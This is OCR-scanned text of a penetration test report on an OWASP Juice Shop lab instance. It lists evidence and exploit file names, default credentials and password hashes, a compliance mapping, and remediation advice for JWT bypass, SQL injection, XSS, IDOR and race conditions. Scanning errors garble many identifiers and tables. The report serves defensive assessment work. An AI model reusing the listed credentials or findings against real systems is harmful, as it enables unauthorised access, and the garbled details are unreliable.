./output/lunar-tiger-strikes/172.17.0.4_3000-

696 /web/race_condition/race_complaints_evidence.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/ssrf/ssrf_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/ssrf/nuclei_ssrf_output.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/ssrf/ssrfmap_output.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/technology_detection/httpx.json

./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/technology_detection/jwt_token.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/technology_detection/whatweb_output.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/xss/stored_xss_complaints_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/xss/stored_xss_products_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/xss/dom_xss_data_export_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-

696 /web/xss/reflected_xss_search_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-

696 /web/xss/reflected_xss_redirect_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/xss/redirect_reflection.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/xss/step_009_search_xss.png

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/xss/step_010_search_results

./output/lunar-tiger-strikes/172.17.0.4_3000-696/exploitation/creds/users.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/exploitation/credential _attack
./output/lunar-tiger-strikes/172.17.0.4_3000-696/exploitation/exploit_search/
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/exploit_search/45265_original.js
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/exploit_search/45265_modified. js
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/exploit_search/jwt_alg_none_exploit.py
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/exploit_search/jwt_alg_none_evidence.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-

-png



696/exploitation/exploit_search/data_leakage_exploit.py
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/exploit_search/data_leakage_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/exploitation/exploit_search/45265. s

./output/lunar-tiger-strikes/172.17.0.4_3000-696/exploitation/exploit_catalog.md

./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/metasploit_exploit/msf_http_traversal_output.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/metasploit_exploit/msf_http_traversal_download_output.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/metasploit_exploit/msf_dir_listing_output.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-

696/exploitation/metasploit_exploit/msf_os_cmd_exec_output.txt

Discovered credentials

valid_or_reported:
- adminajuice-sh.op:adminl23ahttp://172.17.0.4:3000/rest/user/login
- adminajuice-sh.op:adminl23ahttp://172.17.0.4:3000/#/login
- adminajuice-sh.op:adminl23ahttp://172.17.0.4:3000

- testing@juice-sh.op:IamUsedForTestingahttp://172.17.0.4:3000/rest/user/login

hashes:
- jim@juice-sh.op:MD5(0192023a7bbd73250516F069df18b500)ahttp://172.17.0.4:3000
- admin@juice-sh.op:MD5(0192023a7bbd73250516F069df18b500)ahttp://172.17.0.4:3000

- testing@juice-sh.op:MD5(b616a64605007941Ffbd31868aeadbb4b)ahttp://172.17.0.4:3000

malformed_or_truncated_raw_entries:
- admin@juice-sh.op:adminl23ahttp

- testingajuice-sh.op:IamUsedForTestingahttp

Key discovered infrastructure / service context

target_ip: 172.17.0.4

base_url: http://172.17.0.4:3000
application_domain: juice-sh.op
disclosed_base_url: http://localhost:3000

Google_OAuth_client_id: 1005568560502 -




6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com

OAuth_proxy_mapping: http://localhost:3000 -> https://local3000.owasp-juice.shop

docker_network_discovered_by: nmap -sn 172.17.0.0/24
docker_hosts:

- 172.17.0.1

- 172.17.0.2

- 172.17.0.38

- 172.17.0.4

internal_1llm_reference:
service: Ollama API
address: 127.0.0.1:11434

reachability: connection refused / closed from tested hosts

closed_ai_service_ports_on_172.17.0.4:
- 4000
- 5000
- 6000
- 7000
- 8080
- 8501
- 9000

- 11434

11434_closed_on:

172.17.0.1:11434

- 172.17.0.2:11434

- 172.17.0.3:11434

172.17.0.4:11434

observed_headers:
- X-Recruiting: /#/jobs
- x-frame-options: SAMEORIGIN
- x-content-type-options: nosniff
- access-control-allow-origin: "*"

- feature-policy: pauyment 'self’



. Systemic Issues

L Multiple authentication weaknesses found (9
Weak Authentication ) 9 occurrences
issues)

Missing Security Security headers missing across multiple

3 occurrences

Headers endpoints



. Compliance Mapping

Compliance Mapping

Findings Compliance Matrix

FINDING

Exposed
Prometheus
metrics

endpoint

Exposed FTP
directory

listing

Plaintext
Password Hash
Disclosed in

JWT Payload

Hardcoded
admin
credentials in
client-side

JavaScript

JWT Algorithm
None
Authentication

Bypass

Error-Based
SQL Injection
in Product

Search

Sensitive

Authentication

SEVERITY

CRITICAL

CRITICAL

CRITICAL

CRITICAL

CRITICAL

CRITICAL

CRITICAL

CllE

N/A

CWE-
548

N/A

N/A

N/A

CWE-
89

CWE-
639

OWIASP TOP 10

N/A

A05:2021 —
Security

Misconfiguration

N/A

N/A

N/A

AO03:2021 -

Injection

AO1:2021 -

Broken Access

GDPR
ARTICLE

Article
32

Article
32

Articles

5(1)(F),
32

Article
32

Article
32

Article
32

Articles

5(1)(f),

IS0 27001
CONTROL

A.8.9
Configuration

management

A8.9
Configuration

management

A.8.24 Use of
cryptography

A517
Authentication

information

A.8.5 Secure

authentication

A.8.28 Secure

coding

A.5.15 Access

control

NIST CSF
FUNCTION

Protect

Protect

Protect

Protect

Protect

Protect

Protect



FINDING

Details
Exposure via
IDOR

Internal source
code paths
leaked in

Express error

pages

Permissive

CORS wildcard
policy

Publicly
exposed
Swagger API

documentation

Valid
weak/default
admin

credentials

Disclosed
Application

Credentials

Quarantine
Directory
Exposes
Malware URL

Files

fapi/Users
endpoint
exposes all

user data

/api/Challenges

endpoint

SEVERITY

HIGH

HIGH

HIGH

HIGH

HIGH

HIGH

HIGH

HIGH

CllE

N/A

N/A

N/A

N/A

N/A

N/A

N/A

N/A

OWIASP TOP 10

Control

N/A

N/A

N/A

N/A

N/A

N/A

N/A

N/A

GDPR
ARTICLE

32

Article
32

Article
32

Article
32

Article

32

Article
32

Article

32

Articles

5(1)(F),
32

Article

32

IS0 27001
CONTROL

A.8.9
Configuration

management

A.8.9
Configuration

management

A.8.9
Configuration

management

A.5.17
Authentication
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GDPR IS0 27001 NIST CSF
ARTICLE CONTROL FUNCTION

FINDING SEVERITY CllE OWIASP TOP 10

Application
Configuration

Endpoint

Missing
Authorization
on Admin Article A.5.15 Access
HIGH N/A N/A Protect
Application &2 control
Version

Endpoint

Framework Risk Summary

GDPR: The findings indicate critical risk to GDPR-aligned confidentiality, integrity, and security of
processing obligations, particularly under Articles 5(1)(f) and 32. Exposure of user data,
authentication details, password hashes, credentials, and unauthenticated or unauthorized access

paths increases the likelihood of unauthorized disclosure or access to personal data.

PCI DSS: The overall PCI DSS compliance risk is significant where the tested environment supports
payment, checkout, administrative, or credential-related functions. Findings such as SQL injection,
weak/default credentials, disclosed credentials, missing authentication, missing authorization, JWT
weaknesses, and race conditions in checkout or B2B order processing indicate control gaps that

could affect secure access control, secure application development, and transaction integrity.

ISO 27001: The findings present a critical risk to ISO 27001 control objectives related to access
control, authentication information, secure coding, cryptographic protection, configuration
management, and information access restriction. Multiple exposed interfaces, credentials,
administrative endpoints, and authorization bypass conditions suggest ineffective implementation

of preventive security controls.

NIST CSF: The findings primarily affect the Protect function, with recurring weaknesses in access
control, authentication, secure configuration, secure development, and protection of sensitive
information. The concentration of Critical and High severity issues indicates a materially elevated
risk that protective safeguards are insufficient to prevent unauthorized access, disclosure, or

manipulation.

Compliance Risk Ratings

RISK
FRAMEINORK KEY CONCERN
LEVEL
GDPR Critical ~ Exposure of user data, authentication details, password hashes, and

unauthorized access paths affecting confidentiality and security of



FRAMEINORK

PCI DSS

ISO
27001

NIST
CSF

RISK
LEVEL

High

Critical

Critical

KEY CONCERN

processing.

Weak authentication, disclosed credentials, SQL injection, missing
authorization, and checkout/order race conditions may affect secure

transaction and access control requirements if in PCl scope.

Control gaps across access control, authentication, secure coding,

cryptography, and configuration management.

Protective safeguards are weakened by authentication bypass, missing
authorization, exposed sensitive data, insecure configuration, and

injection vulnerabilities.



- Remediation Guide

QUICK WINS (24-48H)

1. VULN-1unar-ti-ee28 Authentication bypass on whoami endpoint — Require a valid
authenticated session before returning whoami data.

2. VULN-lunar-ti-ee29 Rate limiting configuration exposed in headers — Suppress detailed rate-
limit headers on sensitive endpoints where they are not required.

3. VULN-1lunar-ti-0034 Weak and Missing Security Headers — Add baseline headers including X-
Frame-Options or frame-ancestors, Referrer-Policy, and X-Content-Type-Options.

4. vuLN-1lunar-ti-e032 Unauthenticated Continue Code Disclosure — Require authentication for
/rest/continue-code or disable the endpoint if not needed.

5. VULN-1unar-ti-0033 Redirect Error Message Discloses Attempted URL — Stop echoing
rejected redirect targets in client-facing error messages.
6. VULN-lunar-ti-0035 DOM XSS via bypassSecurityTrustHtml — Remove unsafe

bypassSecurity TrustHtml usage for user-controlled data or disable affected rendering paths.

7. vuLN-1unar-ti-0036 document.write() data export XSS vector — Disable the unsafe export
feature or encode all exported data before writing it to a new window.

8. VULN-1unar-ti-0037 Reflected DOM XSS in Search Functionality — Encode search terms
before displaying them and disable unsafe HTML rendering in search results.

9. VULN-lunar-ti-0039 Rate Limiting Bypass via X-Forwarded-For — Ignore client-supplied X-
Forwarded-For unless it is set by a trusted proxy.

10. vuLN-1unar-ti-ee4e User Address Pll Exposure — Restrict address records to the owning user
or authorized administrators only.

1. vuLn-1unar-ti-ee42 APl Schema Validation Disclosure — Return generic validation errors that
do not disclose full schemas or internal role rules.

12. VULN-1unar-ti-0043 Race Condition - Duplicate Complaint Submissions — Add temporary

duplicate submission checks and per-user throttling for complaints.

13. VULN-1unar-ti-ee4s4 Insecure Session Cookie Attributes — Set HttpOnly, Secure, and SameSite
attributes on authentication cookies.

14. vuLN-1unar-ti-0045 Shopping Basket IDOR — Enforce ownership checks on /rest/basket/{id}
before returning basket data.

15. VULN-1unar-ti-0046 Complaints Data Exposure via Missing Ownership Checks — Restrict
complaint listings to the owning user or authorized support/admin roles.

16. vuLN-1unar-ti-0049 Sensitive Path Disclosure in robots.txt — Remove sensitive or non-public

paths from robots.txt.

17. vuLN-1unar-ti-ee50 Hidden Route Disclosure via X-Recruiting Header — Remove the X-
Recruiting header from production responses.

18. VULN-1unar-ti-e051 Internal URL and Hidden Route Disclosure in security.txt — Remove
internal URLs and hidden route references from security.txt.



19. vuLn-1unar-ti-ees2 FTP Extension Restriction Logic Disclosed — Replace detailed extension
restriction errors with generic access-denied messages.

20. vuLn-1unar-ti-0054 Unauthenticated Internal Data Leakage — Require authentication for
endpoints returning internal state or user-related data.

21. VULN-1unar-ti-eess Default Admin Image Exposed — Remove unused default administrative
assets from public paths.

22. wULN-1unar-ti-ees6 CSAF Provider Metadata Exposure — Remove CSAF metadata if it is not
intentionally published.

23. vuLn-1unar-ti-ee57 Unprotected Large Media File — Remove the media file from public access
or place it behind authentication.

24. vuLn-1unar-ti-eesg Internal IP references exposed in client-side code — Remove internal IP

references from client-side bundles and rebuild the frontend.

25. vuLN-1lunar-ti-0059 Internal metadata and network references disclosed — Remove internal

and localhost references from public files and client-side bundles.

26. vuLn-1unar-ti-ees0 Password Reset Information Leakage — Return generic password reset

errors and suppress stack traces or internal paths in responses.

27. VULN-1lunar-ti-0061 Password Reset Rate Limit Weakness — Lower the password reset rate
limit and add temporary monitoring for repeated reset attempts.

SOFTWARE LIFECYCLE

1. VULN-1lunar-ti-e027 Missing Authentication on Admin Endpoints — Block unauthenticated
access to all /rest/admin endpoints.

2. VULN-lunar-ti-eee5 Missing Authorization on Admin Application Version Endpoint — Require
administrator authorization for the version endpoint or remove it from public exposure.

3. VULN-lunar-ti-0034 Weak and Missing Security Headers — Add baseline headers including X-
Frame-Options or frame-ancestors, Referrer-Policy, and X-Content-Type-Options.

CONFIGURATION MANAGEMENT

1. VULN-1unar-ti-ee10 Publicly exposed Swagger APl documentation — Restrict /api-docs to
authenticated administrators or internal networks.

2. VULN-lunar-ti-0039 Rate Limiting Bypass via X-Forwarded-For — Ignore client-supplied X-
Forwarded-For unless it is set by a trusted proxy.

3. vuLnN-lunar-ti-0050 Hidden Route Disclosure via X-Recruiting Header — Remove the X-
Recruiting header from production responses.

4. vuLN-1lunar-ti-0055 Default Admin Image Exposed — Remove unused default administrative
assets from public paths.

B. vuLN-1unar-ti-ees6 CSAF Provider Metadata Exposure — Remove CSAF metadata if it is not
intentionally published.

APPLICATION SECURITY



1. VULN-1unar-ti-ee01 Exposed Prometheus metrics endpoint — Block public access to /metrics
at the reverse proxy or firewall and restrict it to trusted monitoring hosts only.

2. vuLN-1unar-ti-eee2 Exposed FTP directory listing — Disable directory indexing for /ftp and
remove sensitive files from the web-accessible path.

3. VULN-lunar-ti-0003 Plaintext Password Hash Disclosed in JWT Payload — Remove password
hashes and all credential-derived data from JWT claims and invalidate currently issued tokens.

4. vuLN-1unar-ti-0004 Hardcoded admin credentials in client-side JavaScript — Remove the
credentials from client-side code, disable the affected account, and rotate all related
passwords and tokens.

5. VuLN-1unar-ti-eee5 JWT Algorithm None Authentication Bypass — Reject tokens using
alg:none and restrict JWT verification to a single approved signing algorithm.

6. VuLN-lunar-ti-00e6 Error-Based SQL Injection in Product Search — Disable or restrict the
vulnerable search endpoint until SQL concatenation is removed.

7. VuLN-lunar-ti-0007 Sensitive Authentication Details Exposure via IDOR — Disable the
endpoint or restrict it to authorized administrative workflows only, and remove sensitive fields
from responses.

8. VuLN-1unar-ti-e0e8 Internal source code paths leaked in Express error pages — Disable
verbose error output in production and return generic error pages.

9. vuLN-lunar-ti-0011 Valid weak/default admin credentials — Disable the affected
administrator account or rotate its password to a strong unique value immediately.

10. vuLn-1unar-ti-eet2 Disclosed Application Credentials — Revoke the disclosed credentials,
rotate the account password, and invalidate active sessions.

1. vuLn-1unar-ti-0014 [api/Users endpoint exposes all user data — Restrict /api/Users to
authorized administrators and remove unnecessary sensitive fields from responses.

12. VULN-1unar-ti-e017 Stored XSS in Complaints APl — Sanitize or encode complaint messages
before rendering and remove existing malicious stored content.
13. wvuLN-1unar-ti-ee21 JWT Tokens Do Not Expire — Invalidate existing tokens and issue new JWTs

with short expiration times.

14. vuLN-1unar-ti-0022 No Authentication Enforcement on Al Chat Endpoint — Require
authentication for /rest/chat and block unauthenticated requests.

15. wuLn-1unar-ti-6026 IDOR on fapi/Users/{id} — Deny access to /api/Users/{id} unless the
requester owns the record or has an authorized admin role.

16. VULN-1unar-ti-e048 Race Condition - B2B Orders Duplicate Processing — Add a temporary
per-user or per-order mutex to prevent concurrent duplicate B2B order submissions.

17. vuLN-1unar-ti-eee4 Missing Authorization on Admin Application Configuration Endpoint —
Restrict the endpoint to verified administrators and remove sensitive configuration fields from
the response.

18. vuLn-1unar-ti-ee28 Authentication bypass on whoami endpoint — Require a valid
authenticated session before returning whoami data.

19. VULN-1unar-ti-0029 Rate limiting configuration exposed in headers — Suppress detailed rate-
limit headers on sensitive endpoints where they are not required.



20. wuLn-1unar-ti-0032 Unauthenticated Continue Code Disclosure — Require authentication for
/rest/continue-code or disable the endpoint if not needed.

21. VULN-1unar-ti-ee35 DOM XSS via bypassSecurityTrustHtml — Remove unsafe
bypassSecurityTrustHtml usage for user-controlled data or disable affected rendering paths.

22. VULN-1unar-ti-6036 document.write() data export XSS vector — Disable the unsafe export
feature or encode all exported data before writing it to a new window.

23. VULN-1unar-ti-0037 Reflected DOM XSS in Search Functionality — Encode search terms
before displaying them and disable unsafe HTML rendering in search results.

24. vuLn-1unar-ti-0040 User Address Pll Exposure — Restrict address records to the owning user
or authorized administrators only.

25. VULN-1unar-ti-0043 Race Condition - Duplicate Complaint Submissions — Add temporary
duplicate submission checks and per-user throttling for complaints.
26. vuLN-lunar-ti-0044 Insecure Session Cookie Attributes — Set HttpOnly, Secure, and SameSite

attributes on authentication cookies.

27. vuLn-1unar-ti-0045 Shopping Basket IDOR — Enforce ownership checks on /rest/basket/{id}
before returning basket data.

28. vuLn-1unar-ti-ee46 Complaints Data Exposure via Missing Ownership Checks — Restrict
complaint listings to the owning user or authorized support/admin roles.

29. vuLn-1unar-ti-0054 Unauthenticated Internal Data Leakage — Require authentication for
endpoints returning internal state or user-related data.

30. vuLn-1unar-ti-ees8 Internal IP references exposed in client-side code — Remove internal IP
references from client-side bundles and rebuild the frontend.

31. vuLn-1unar-ti-0059 Internal metadata and network references disclosed — Remove internal
and localhost references from public files and client-side bundles.

32. vuLN-1unar-ti-ee6e Password Reset Information Leakage — Return generic password reset
errors and suppress stack traces or internal paths in responses.

33. VULN-1unar-ti-eesl Password Reset Rate Limit Weakness — Lower the password reset rate
limit and add temporary monitoring for repeated reset attempts.



. Strategic Recommendations

FINDING(S) ADDRESSED

VULN-lunar-ti-O001

VULN-lunar-ti-0002

VULN-lunar-ti-O003

VULN-Ilunar-ti-O004

VULN-lunar-ti-0O005

VULN-lunar-ti-O006

VULN-lunar-ti-O007

FINDING(S) ADDRESSED

0-30 DAYS
# RECOMMWENDATION
01 Remediate Exposed Prometheus metrics endpoint
02 Remediate Exposed FTP directory listing
(0K} Remediate Plaintext Password Hash Disclosed in JWT Payload
04 Remediate Hardcoded admin credentials in client-side JavaScript
(0]5} Remediate JWT Algorithm None Authentication Bypass
(0]5} Remediate Error-Based SQL Injection in Product Search
o7 Remediate Sensitive Authentication Details Exposure via IDOR
1-3 MONTHS
# RECOMMENDATION
01 Address Weak Authentication
02 Address Missing Security Headers
6-12 MONTHS
# RECOMMENDATION
01 Remediate Internal source code paths leaked in Express error pages
02 Remediate Permissive CORS wildcard policy
(OK] Remediate Publicly exposed Swagger APl documentation
04 Remediate Valid weak/default admin credentials
(0]5) Remediate Disclosed Application Credentials
06 Remediate Quarantine Directory Exposes Malware URL Files
o7 Remediate /api/Users endpoint exposes all user data

FINDING(S) ADDRESSED

VULN-lunar-ti-0008

VULN-lunar-ti-O009

VULN-lunar-ti-0010

VULN-lunar-ti-O0T1

VULN-lunar-ti-0012

VULN-lunar-ti-0013

VULN-lunar-ti-0014



# RECONMENDATION

08 Remediate /api/Challenges endpoint exposes challenge solution data

09 Remediate Stored XSS in Complaints API

10 Remediate Password Hash Leakage via saveloginlp Endpoint
n Remediate JWT Tokens Do Not Expire
12 Remediate No Authentication Enforcement on Al Chat Endpoint

13 Remediate IDOR on /api/Users/{id}

FINDING(S) ADDRESSED

VULN-lunar-ti-0015

VULN-lunar-ti-0017

VULN-lunar-ti-0020

VULN-lunar-ti-0021

VULN-lunar-ti-0022

VULN-Ilunar-ti-0026

14 Remediate Missing Authentication on Admin Endpoints VULN-lunar-ti-0027
15 Remediate Race Condition - Checkout Double-Spend VULN-lunar-ti-0047
16 Remediate Race Condition - B2B Orders Duplicate Processing VULN-lunar-ti-0048
17 Remediate Missing Authorization on Admin Application Configuration Endpoint VULN-lunar-ti-0064
18 Remediate Missing Authorization on Admin Application Version Endpoint VULN-lunar-ti-0065

SUCCESS METRICS

KPI

Open Critical findings

Open High findings

TARGET

= O (target)

= O within 30 days

Mean time to patch CRITICAL CVEs <7 days
Validation coverage on remediated findings 100%
Findings reopened on follow-up retest =0



.- Conclusion and Next Steps

The engagement assessed 1 external target(s) and produced 52 verified finding(s) with an overall
risk rating of CRITICAL (100/100).

Most exposed surface: http://172.17.0.4:3000. These targets accumulate Critical or High severity
findings and should drive the immediate remediation effort.

NEXT STEPS

1. Address every Tier 1 (Immediate) finding within 7 days and confirm closure with the supplied
validation steps.

2. Complete Tier 2 (Short-term) remediation within the next maintenance window (=< 30 days).
3. Schedule a follow-up retest once Tier 1and Tier 2 items are closed.

4. Establish (or reinforce) an organisation-wide vulnerability-management programme with

monthly CVE review.

5. Promote the systemic issues identified in this report into long-term security-engineering

initiatives (CSP rollout, dependency hygiene, secure-coding training).



. Appendix A — Evidence Inventory

BY TARGET
TARGET LINKED EVIDENCE INDEXED FILES TOTAL SIZE
http://172.17.0.4:3000 217 217 17,060,277 B

BY PHASE
PHASE FILES
web 171
exploitation 19
recon 19
orchestrator 7
exploit 1

BY TYPE
CONTENT TYPE FILES
log 83
artifact 39
screenshot 23
notes 20
summary 19
evidence_text 16
config 5
phase_summary 5
http_capture 3

exploit_code 2






., Appendix B — Glossary

TERN DEFINITION

CVE Common Vulnerabilities and Exposures — public catalogue of disclosed vulnerabilities.

CVSS Common Vulnerability Scoring System — standardised severity score (0.0-10.0).

CWE Common Weakness Enumeration — taxonomy of software weaknesses.

OWASP Open Worldwide Application Security Project — non-profit publishing security guidance such

as the Top 10.

PTES Penetration Testing Execution Standard.

NIST U.S. National Institute of Standards and Technology — publishes the SP 800-115 testing guide
and the Cybersecurity Framework.

GDPR General Data Protection Regulation — European personal-data protection law.

1ISO 27001 International standard for information security management systems.

PCI-DSS Payment Card Industry Data Security Standard.

DMARC Domain-based Message Authentication, Reporting and Conformance — email-spoofing policy
mechanism.

SPF Sender Policy Framework — email authentication via DNS allow-listing.

DKIM DomainKeys Identified Mail — cryptographic signing of email headers.

AXFR DNS Zone Transfer — full zone replication operation.

WAF Web Application Firewall.

SSRF Server-Side Request Forgery.

XSS Cross-Site Scripting.

SQLi SQL Injection.

IDOR Insecure Direct Object Reference.

JWT JSON Web Token — compact token format used in stateless authentication.

HSTS HTTP Strict Transport Security header.

CSP Content Security Policy header.



TERM DEFINITION

XFO X-Frame-Options header (anti-clickjacking).
TLS Transport Layer Security — successor to SSL.
RCE Remote Code Execution.

LFI Local File Inclusion.
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